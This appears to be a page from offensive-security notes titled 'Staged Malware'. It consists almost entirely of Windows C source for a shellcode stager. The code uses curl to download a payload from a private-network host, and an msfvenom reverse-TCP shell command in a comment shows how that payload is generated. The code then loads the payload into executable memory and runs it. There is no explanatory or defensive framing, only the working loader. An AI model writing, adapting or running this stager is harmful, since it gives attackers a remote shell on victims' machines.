# Not so easy to stage!

## Staged Malware

```
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h>

int main(){
	FILE *fpipe;
	//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT 443 -f raw -o code.bin
	char *command = "curl http://192.168.5.113/code.bin";
	char c = 0;
	unsigned char code[460];
	int counter = 0;
	
	if (0 == (fpipe = (FILE*)popen(command, "r")))
	{
		perror("popen() failed.");
		exit(EXIT_FAILURE);
	}
	
	while (fread(&c, sizeof c, 1, fpipe))
	{
		code[counter] = c;
		printf("%c", code[counter]);
		counter++;
	}
	
	pclose(fpipe);
	
	//Create a pointer that points to memory space with size of buffer
	//VirtualAlloc returns an address and we store the address in a pointer
	//Pointer to an allocated buffer address is the contents of it.
	void *exec = VirtualAlloc(0,	//System selects address
				sizeof code,	//Allocate size of buf
				MEM_COMMIT,	//Allocate commited memory
				PAGE_EXECUTE_READWRITE	//Protection = R/W
				);
	//Copies contents of code into allocated memory "exec"
	memcpy(exec, code, sizeof code);
	//Calling void fuction pointer to opcode buffer to execute it
	((void(*)())exec)();
	return 0;
}
```

![](https://3740919960-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Am0a4hPyOcUCfhPUAm9%2Fuploads%2FEfYSkznwmbHvyMR9y5Vq%2Fimage.png?alt=media\&token=1584b3f8-986a-4237-9540-bf440566de0d)

##


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